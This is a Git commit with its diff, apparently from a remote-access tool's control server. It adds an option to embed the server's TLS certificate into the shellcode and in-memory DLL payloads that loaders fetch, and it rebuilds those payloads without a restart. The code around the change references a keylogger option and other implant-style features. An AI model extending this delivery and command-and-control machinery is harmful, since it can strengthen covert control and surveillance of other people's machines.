Feature: Embed the server TLS certificate in delivered DLLs
Add a "高级 → DLL内嵌TLS证书" toggle (off by default, persisted as
[settings] EmbedTlsInDll). When it is on, ReadKernelDll patches the server's
current TLS anchor into the ServerDll and ShellCode payloads, so clients that
come online through the loaders start their own session over TLS without
waiting for an online push. The plaintext DLL loader in client/main.c is
untouched; only the DLL's fresh connection is protected. The write happens
after SetServer and before CalcMD5FromBytes, and the anchor records the host
part of the master address rather than "ip:port" because the client matches
the anchor against its configured address set. TinyRun has no anchor block and
keeps working as before.
Toggling the switch, and confirming the certificate dialog, rebuild the six
payloads in place, so no server restart is needed after a certificate change.
The payload pointers are replaced as a whole, and the network threads that read
them (SendServerDll and TOKEN_GETVERSION) now take a dedicated critical section
for the full duration of use.
COMMAND_UPDATE no longer clears the tls_disabled marker on the client. Now that
any delivered DLL may carry the anchor, "the payload has an anchor" no longer
means the operator opted this host into TLS, and clearing the marker would
silently flip a host that was explicitly set to plaintext onto TLS against a
plaintext path. Re-enabling TLS stays an explicit action through
COMMAND_TLS_ENABLE and COMMAND_SET_PROTO, which still clear the marker.
Menu and notice strings were added to en_US, zh_TW and de_DE, and the embedded
TLS design document records the new switch and the revised update semantics.
The new menu entry also takes a feature-limits slot so a subordinate master
can hide it like every other 高级 item (see 8807321):
HIDE_MENU_EMBED_TLS_ANCHOR in UIBranding.h, MF_EMBED_TLS_ANCHOR at bit 57
in FeatureFlags.h (the first free one after MF_FILE_SPEED), a row in the
主菜单 tab of CFeatureLimitsDlg, and the matching DeleteMenu on the 高级
menu. The entry still has no bitmap of its own, so it renders without an
icon next to its three siblings.
Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
8b92f32c47
commit
c66f410831
12 files changed
+210
-45
No files matched your search
@@ -788,6 +788,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
}
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
InitializeCriticalSection(&m_csPayload);
|
||||
|
||||
// Init DLL list
|
||||
char path[_MAX_PATH];
|
||||
@@ -808,6 +809,7 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||||
SAFE_DELETE(m_ClientMap);
|
||||
DeleteCriticalSection(&m_cs);
|
||||
DeleteCriticalSection(&m_DllRateLimitLock);
|
||||
DeleteCriticalSection(&m_csPayload);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
SAFE_DELETE(m_ServerDLL[i]);
|
||||
SAFE_DELETE(m_ServerBin[i]);
|
||||
@@ -1146,6 +1148,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_TOOL_QUALITY_LEVELS, &CMy2015RemoteDlg::OnQualityLevels)
|
||||
ON_COMMAND(ID_TOOL_PREVIEW_LEVELS, &CMy2015RemoteDlg::OnPreviewLevels)
|
||||
ON_COMMAND(ID_TOOL_FILE_SPEED, &CMy2015RemoteDlg::OnFileTransferSpeed)
|
||||
ON_COMMAND(ID_TOOL_EMBED_TLS_ANCHOR, &CMy2015RemoteDlg::OnToolEmbedTlsAnchor)
|
||||
ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
|
||||
ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
|
||||
ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
|
||||
@@ -1510,6 +1513,8 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
pAdvMenu->DeleteMenu(ID_TOOL_PREVIEW_LEVELS, MF_BYCOMMAND);
|
||||
if (SHOULD_HIDE_MENU(HIDE_MENU_FILE_SPEED, MF_FILE_SPEED))
|
||||
pAdvMenu->DeleteMenu(ID_TOOL_FILE_SPEED, MF_BYCOMMAND);
|
||||
if (SHOULD_HIDE_MENU(HIDE_MENU_EMBED_TLS_ANCHOR, MF_EMBED_TLS_ANCHOR))
|
||||
pAdvMenu->DeleteMenu(ID_TOOL_EMBED_TLS_ANCHOR, MF_BYCOMMAND);
|
||||
if (pAdvMenu->GetMenuItemCount() == 0)
|
||||
m_MainMenu.DeleteMenu(5, MF_BYPOSITION);
|
||||
}
|
||||
@@ -2299,6 +2304,28 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="",
|
||||
}
|
||||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||||
|
||||
// 内嵌 TLS 信任锚(高级→DLL内嵌TLS证书,默认关)。必须写在 SetServer 之后:
|
||||
// 锚里的 master 要与客户端实际连的地址一致,客户端才会采用(TlsChannel.cpp 的
|
||||
// EmbeddedAnchorAppliesTo 按地址集合匹配,写 "ip:port" 会两层都匹配不上)。
|
||||
// 也必须写在下面的 CalcMD5FromBytes 之前——md5 是传输协议的一部分,客户端据此
|
||||
// 判断要不要重下 DLL;放在前面才不会被当成「内容没变」。
|
||||
// 一处覆盖六份载荷:ServerDll/Shellcode 的 x86/x64 都从这里出去,TinyRun 天生没有
|
||||
// 锚块(纯 C 加载器,不支持 TLS),返回 NoBlock 属于正常,不刷日志。
|
||||
if (g_2015RemoteDlg->m_bEmbedTlsInDll) {
|
||||
std::string anchorErr;
|
||||
DWORD pemLen = 0;
|
||||
EmbedResult r = EmbedTlsAnchorInto(szBuffer + 6, dwFileSize, server->szServerIP,
|
||||
pemLen, anchorErr);
|
||||
const char* what = isTiny ? "TinyRun" : (isDLL ? "ServerDll" : "Shellcode");
|
||||
if (r == EmbedResult::Ok) {
|
||||
Mprintf("[TLS] embedded anchor into %s%s: %u bytes pem\n",
|
||||
what, is64Bit ? " x64" : " x86", (unsigned)pemLen);
|
||||
} else if (r != EmbedResult::NoBlock || !isTiny) {
|
||||
Mprintf("[TLS] embed anchor into %s%s failed(%d): %s\n",
|
||||
what, is64Bit ? " x64" : " x86", (int)r, anchorErr.c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
|
||||
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
|
||||
@@ -2675,6 +2702,19 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
master = effectiveIP + ":" + std::to_string(effectivePort);
|
||||
}
|
||||
|
||||
// 高级→DLL内嵌TLS证书:勾选后内嵌服务端证书。锚来自 ServerTlsIdentity,它平时是在
|
||||
// Activate()→StartServer 里加载的,晚于下面的 ReadKernelDll;这里提前加载一次,
|
||||
// 免得第一次内嵌拿到空锚(Load 可重入,后面 StartServer 里那次照常执行,此时还没有
|
||||
// 任何客户端连进来)。
|
||||
m_masterAddr = master;
|
||||
m_bEmbedTlsInDll = THIS_CFG.GetInt("settings", "EmbedTlsInDll", 0) != 0;
|
||||
if (m_bEmbedTlsInDll && !ServerTlsIdentity::IsReady()) {
|
||||
ServerTlsIdentity::Load(THIS_CFG);
|
||||
if (!ServerTlsIdentity::IsReady())
|
||||
Mprintf("[TLS] EmbedTlsInDll=1 but server TLS identity is not ready; "
|
||||
"DLL will be delivered without an anchor\n");
|
||||
}
|
||||
|
||||
UPDATE_SPLASH(50, "正在加载内核模块 (x86 DLL)...");
|
||||
g_2015RemoteDlg = this;
|
||||
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master);
|
||||
@@ -2755,6 +2795,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
LoadPreviewProfilesFromCfg();
|
||||
m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||
|
||||
// 高级菜单:DLL内嵌TLS证书(勾选状态来自 [settings] EmbedTlsInDll,见上面的加载)
|
||||
if (CMenu* advMenu = m_MainMenu.GetSubMenu(5)) {
|
||||
advMenu->CheckMenuItem(ID_TOOL_EMBED_TLS_ANCHOR,
|
||||
m_bEmbedTlsInDll ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
if (SubMenu) {
|
||||
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
|
||||
@@ -7106,6 +7152,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
break;
|
||||
}
|
||||
case TOKEN_GETVERSION: { // 获取版本【L】
|
||||
// 载荷指针可能被 UI 线程整体替换(ReloadKernelPayloads),整段取用都在锁内。
|
||||
CAutoLock payloadLock(m_csPayload);
|
||||
// TODO 维持心跳
|
||||
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
||||
Buffer* bin = m_ServerBin[is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86];
|
||||
@@ -8880,6 +8928,9 @@ bool isAllZeros(const BYTE* data, int len)
|
||||
|
||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
|
||||
{
|
||||
// 载荷指针由 UI 线程在换证书/切开关时整体替换(ReloadKernelPayloads),这里全程持锁:
|
||||
// 锁只覆盖「取指针 + Send2Client 拷进本连接发送缓冲」,不覆盖真正的 WSASend。
|
||||
CAutoLock payloadLock(m_csPayload);
|
||||
auto isDLL = payloadType == MEMORYDLL;
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
|
||||
@@ -10667,6 +10718,82 @@ void CMy2015RemoteDlg::OnFileTransferSpeed()
|
||||
}
|
||||
}
|
||||
|
||||
// 高级→DLL内嵌TLS证书:开关只影响「之后重新生成并再次下发」的载荷,因此这里必须立刻重建,
|
||||
// 否则勾上开关后客户端拿到的还是启动时生成的那份(无锚),要重启服务端才生效。
|
||||
void CMy2015RemoteDlg::OnToolEmbedTlsAnchor()
|
||||
{
|
||||
bool turnOn = !m_bEmbedTlsInDll;
|
||||
|
||||
if (turnOn) {
|
||||
// 证书没启用就没东西可嵌。先加载一次(平时是 StartServer 里加载的),仍不成功就回滚,
|
||||
// 免得菜单显示已勾选、实际下发的 DLL 却没有锚。
|
||||
if (!ServerTlsIdentity::IsReady())
|
||||
ServerTlsIdentity::Load(THIS_CFG);
|
||||
if (!ServerTlsIdentity::IsReady()) {
|
||||
MessageBoxL("服务端还没有可用的 TLS 证书,无法内嵌。\r\n"
|
||||
"请先在 TLS 证书配置里启用证书,再打开此开关。", "提示", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
m_bEmbedTlsInDll = turnOn;
|
||||
THIS_CFG.SetInt("settings", "EmbedTlsInDll", m_bEmbedTlsInDll ? 1 : 0);
|
||||
if (CMenu* advMenu = m_MainMenu.GetSubMenu(5))
|
||||
advMenu->CheckMenuItem(ID_TOOL_EMBED_TLS_ANCHOR, m_bEmbedTlsInDll ? MF_CHECKED : MF_UNCHECKED);
|
||||
|
||||
ReloadKernelPayloads();
|
||||
|
||||
if (m_bEmbedTlsInDll) {
|
||||
MessageBoxL("已开启:此后经 MDLL/ShellCode 形式上线的客户端会自动启用 TLS。\r\n\r\n"
|
||||
"已上线的客户端不会自动变,需要重启(重新走一遍加载器)才会拿到带证书的 DLL。",
|
||||
"提示", MB_ICONINFORMATION);
|
||||
} else {
|
||||
MessageBoxL("已关闭:此后下发的 DLL 不再内嵌证书。\r\n\r\n"
|
||||
"已经内嵌了证书的客户端不受影响。", "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
|
||||
// 按当前开关与证书重建六份内核载荷(ServerDll/ShellCode/TinyRun × x86/x64)。
|
||||
// 换证书、切开关后都要走一遍:已加载的旧 Buffer 里是旧锚,继续下发会让新客户端钉住旧证书,
|
||||
// 证书轮换后它们就再也连不上(客户端是 fail-closed)。重建后 md5 变化,客户端下次请求时会重下。
|
||||
void CMy2015RemoteDlg::ReloadKernelPayloads()
|
||||
{
|
||||
// 先全部生成好再换指针:任何一份失败都保持原状,不出现「只换了一半」。
|
||||
Buffer* dll[PAYLOAD_MAXTYPE] = {};
|
||||
Buffer* bin[PAYLOAD_MAXTYPE] = {};
|
||||
Buffer* tiny[PAYLOAD_MAXTYPE] = {};
|
||||
bool ok = true;
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
bool is64Bit = (i == PAYLOAD_DLL_X64);
|
||||
dll[i] = ReadKernelDll(is64Bit, true, m_masterAddr);
|
||||
bin[i] = ReadKernelDll(is64Bit, false, m_masterAddr);
|
||||
tiny[i] = ReadKernelDll(is64Bit, true, m_masterAddr, true);
|
||||
if (!dll[i] || !bin[i] || !tiny[i]) ok = false;
|
||||
}
|
||||
if (!ok) {
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
SAFE_DELETE(dll[i]);
|
||||
SAFE_DELETE(bin[i]);
|
||||
SAFE_DELETE(tiny[i]);
|
||||
}
|
||||
Mprintf("[TLS] ReloadKernelPayloads failed: kernel resource missing\n");
|
||||
MessageBoxL("重新生成内核载荷失败(资源缺失),仍沿用原来的 DLL。", "错误", MB_ICONERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
{
|
||||
// 网络线程取载荷全程持这把锁(SendServerDll/TOKEN_GETVERSION),换完指针即无人持有旧 Buffer。
|
||||
CAutoLock payloadLock(m_csPayload);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
SAFE_DELETE(m_ServerDLL[i]); m_ServerDLL[i] = dll[i];
|
||||
SAFE_DELETE(m_ServerBin[i]); m_ServerBin[i] = bin[i];
|
||||
SAFE_DELETE(m_TinyRun[i]); m_TinyRun[i] = tiny[i];
|
||||
}
|
||||
}
|
||||
Mprintf("[TLS] kernel payloads reloaded (embed=%d, master=%s)\n",
|
||||
m_bEmbedTlsInDll ? 1 : 0, m_masterAddr.c_str());
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ApplyThumbnailSettings()
|
||||
{
|
||||
// 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。
|
||||
@@ -12834,6 +12961,11 @@ void CMy2015RemoteDlg::OnTlsCertificate()
|
||||
|
||||
// 状态栏 TLS 分区立即跟随切换结果(对话框内已热重载身份,不等 60s 定时器)
|
||||
UpdateStatusBarStats();
|
||||
|
||||
// 勾选了「DLL内嵌TLS证书」时,载荷里嵌的是旧证书,证书一换就过期了:新上线的 MDLL
|
||||
// 客户端会钉住旧证书连不上。这里重建一次,不必重启服务端。
|
||||
if (m_bEmbedTlsInDll)
|
||||
ReloadKernelPayloads();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnConnectionManage()
|
||||
|
||||
Reference in new issue
Block a user